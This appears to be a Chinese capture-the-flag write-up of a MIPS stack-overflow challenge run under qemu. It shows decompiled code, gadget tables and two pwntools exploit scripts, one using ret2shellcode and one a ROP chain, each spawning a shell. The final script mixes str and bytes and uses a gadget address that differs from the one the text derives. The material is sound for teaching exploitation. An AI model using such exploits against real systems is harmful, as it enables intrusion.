- mipsrop 插件: https://github.com/tacnetsol/ida
题目来源: HWS夏令营结营赛题
- file : pwn
$ file pwn
pwn: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e0782ebdf0d70b808dba4b10c6866faeae35c620, not stripped
运行:qemu-mips pwn
保护措施:
$ pwn checksec pwn
[*] '/home/mi/CTF/pwn-exercise/linux_mips_stack/mips_pwn_1/pwn'
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
核心代码在pwn函数里。
v6申请了512大小的堆块,v15 = read(0, v6, 0x300);
在这read产生了堆的溢出。
后面逻辑将堆块读取的字符按照:
分割,将后面的字符写入v14,memcpy(v14 + 1, v16 + 1, v17);
产生栈溢出,这个可以利用。
bool pwn()
{
int v0; // $v0
_BOOL4 result; // $v0
int v3; // [sp+0h] [+0h] BYREF
int v4[2]; // [sp+10h] [+10h] BYREF
_BYTE *v5; // [sp+18h] [+18h]
_BYTE *v6; // [sp+1Ch] [+1Ch]
unsigned int i; // [sp+20h] [+20h]
int j; // [sp+24h] [+24h]
int v9; // [sp+28h] [+28h]
int v10; // [sp+2Ch] [+2Ch]
int v11; // [sp+30h] [+30h]
int *v12; // [sp+34h] [+34h]
int *v13; // [sp+38h] [+38h]
int *v14; // [sp+3Ch] [+3Ch]
int v15; // [sp+40h] [+40h]
int v16; // [sp+44h] [+44h]
_BYTE *v17; // [sp+48h] [+48h]
int v18[3]; // [sp+4Ch] [+4Ch] BYREF
v6 = (_BYTE *)malloc(512);
puts("Enter the group number: ");
if ( !_isoc99_scanf("%d", v18) )
{
printf("Input error!");
exit(-1);
}
if ( !v18[0] || v18[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
v18[1] = (int)&v3;
v9 = 36;
v10 = 36 * v18[0];
v11 = 36 * v18[0] - 1;
v12 = v4;
memset(v4, 0, 36 * v18[0]);
for ( i = 0; ; ++i )
{
result = i < v18[0];
if ( i >= v18[0] )
break;
v13 = (int *)((char *)v12 + i * v9);
v14 = v13;
memset(v6, 0, 4);
puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
v15 = read(0, v6, 768);
if ( v13 )
{
v0 = atoi(v6);
*v14 = v0;
v16 = strchr(v6, 58);
for ( j = 0; v6++; ++j )
{
if ( *v6 == 10 )
{
v5 = v6;
break;
}
}
v17 = &v5[-v16];
if ( !v16 )
{
puts("format error!");
exit(-1);
}
memcpy(v14 + 1, v16 + 1, v17);
}
else
{
printf("Error!");
v14[1] = 1633771776;
}
}
return result;
}
运行:qemu-mips ./pwn
产生了栈溢出
=== Welcome to visit H4-link! ===
Enter the group number:
1
Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.'
1:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
现在需要确定溢出的偏移,采用cyclic(0x150)方式,但是会莫名其妙飞掉,只能逆向+手工调试。
调试出偏移是b'1:'+0x90*b'a'+$ra
我们通过qemu-user启动地址非随机,可以直接ret2shellcode执行。
思路1(试错):
- 那现在知道sp的地址是0x76fff208,我们知道v14变量栈的相对值+0x2c,只需要知道v14与输入的数据的相对位置就可以。
- 我们需要确定我输入的值传到栈上v14的相对位置是多少,可以通过cyclic方式来判断,在memcpy后下断点,查看栈上的值gaaa开头。
- 但是这有个问题就是,这块到返回地址之间,空间不够,只能放到返回地址之后。
>>> cyclic_find('gaaa')
24
memcpy(v14 + 1, v16 + 1, v17);
附近的汇编代码
.text:0040092C move $a2, $a0
.text:00400930 move $a1, $v0
.text:00400934 move $a0, $v1
.text:00400938 la $v0, memcpy
.text:0040093C move $t9, $v0
.text:00400940 bal memcpy
.text:00400944 nop
.text:00400948 lw $gp, 0x58+var_48($fp)
.text:0040094C b loc_400988
思路2:
- 找返回地址后的栈地址,通过调试为0x76fff2b0。
- exp.py
from pwn import *
context(arch="mips",endian="big",log_level="debug")
io = process(['qemu-mips','./pwn'])
io.sendlineafter("number: ",b'1')
payload = b'1:'
payload += 0x90*b'a' +p32(0x76fff2b0)+asm(shellcraft.sh())
io.sendlineafter("eg => '1:Job.' ",payload)
io.interactive()
刚直接ret2shellcode,这是在栈地址不变的情况下,如果开了aslr,我就需要通过rop利用。
思路——获取栈地址:
- 我们可以让一个栈地址拷贝到寄存器上,把shellcode写在这个栈空间。
mips.stackfind()可以满足这个需求。
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004273C4 | addiu $a2,$sp,0x70+var_C | jalr $s0 |
| 0x0042BCD0 | addiu $a2,$sp,0x88+var_C | jalr $s2 |
| 0x0042FA00 | addiu $v1,$sp,0x138+var_104 | jalr $s1 |
| 0x004491F8 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044931C | addiu $v0,$sp,0x30+var_8 | jalr $s1 |
| 0x00449444 | addiu $a2,$sp,0x44+var_C | jalr $s1 |
| 0x0044AD58 | addiu $a1,$sp,0x60+var_28 | jalr $s4 |
| 0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5 |
| 0x0044B154 | addiu $a1,$sp,0x6C+var_38 | jalr $s2 |
| 0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2 |
| 0x0044B3EC | addiu $v0,$sp,0x170+var_130 | jalr $s0 |
| 0x00454E94 | addiu $s7,$sp,0xB8+var_98 | jalr $s3 |
| 0x00465BEC | addiu $a1,$sp,0xC4+var_98 | jalr $s0 |
----------------------------------------------------------------------------------------------------------------
Found 13 matching gadgets
选取第一个,等同于 0x004273C4 addiu $a2,$sp,0x64 jalr $s0
这样,我们将shellcode写在sp+0x64
但是还需要执行$a2,为此要将$s0寄存器去执行这个任务。
2. 找执行$a2的指令,即跳转,jalr $a2和jr $a2。
这块插件支持的不好,我们只能打印所有的gadget的搜索 Python>mipsrop.stackfinder
。
0x00421684
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004002FC | lw $ra,0x1C+var_s0($sp) | jr 0x1C+var_s0($sp) |
| ... | ... | ... |
| 0x00421684 | move $t9,$a2 | jr $a2 |
- 然后要衔接上这两个gadget,让$s0的值是0x00421684。
在MIPS的复杂函数的序言和尾声中,会保存和恢复s组寄存器,我们可以下pwn()函数尾声的汇编代码:
.text:00400A54 lw $s0, 0x58+var_s0($sp)
在0x90控制了$ra,则我们在0x90-0x7c+0x58=0x6c处,即可控制$s0
.text:00400A2C loc_400A2C:
.text:00400A2C move $sp, $fp
.text:00400A30 lw $ra, 0x58+var_s24($sp)
.text:00400A34 lw $fp, 0x58+var_s20($sp)
.text:00400A38 lw $s7, 0x58+var_s1C($sp)
.text:00400A3C lw $s6, 0x58+var_s18($sp)
.text:00400A40 lw $s5, 0x58+var_s14($sp)
.text:00400A44 lw $s4, 0x58+var_s10($sp)
.text:00400A48 lw $s3, 0x58+var_sC($sp)
.text:00400A4C lw $s2, 0x58+var_s8($sp)
.text:00400A50 lw $s1, 0x58+var_s4($sp)
.text:00400A54 lw $s0, 0x58+var_s0($sp)
.text:00400A58 addiu $sp, 0x80
.text:00400A5C jr $ra
from pwn import *
context(arch="mips",endian="big",log_level="debug")
io = process(['qemu-mips','./pwn'])
io.sendlineafter("number: ",b'1')
sp_addr = 0x004273C4 #addiu $a2,$sp,0x64 jalr $s0
jalr_s0_addr = 0x00400CEC # move $t9,$s0 jalr $s0
payload = b'1:'
payload += 'a'*0x6c + p32(jalr_s0_addr) + 'a'*0x20 + p32(sp_addr)
payload += 'a'*0x64 + asm(shellcraft.sh())
io.sendlineafter("eg => '1:Job.' ",payload)
io.interactive()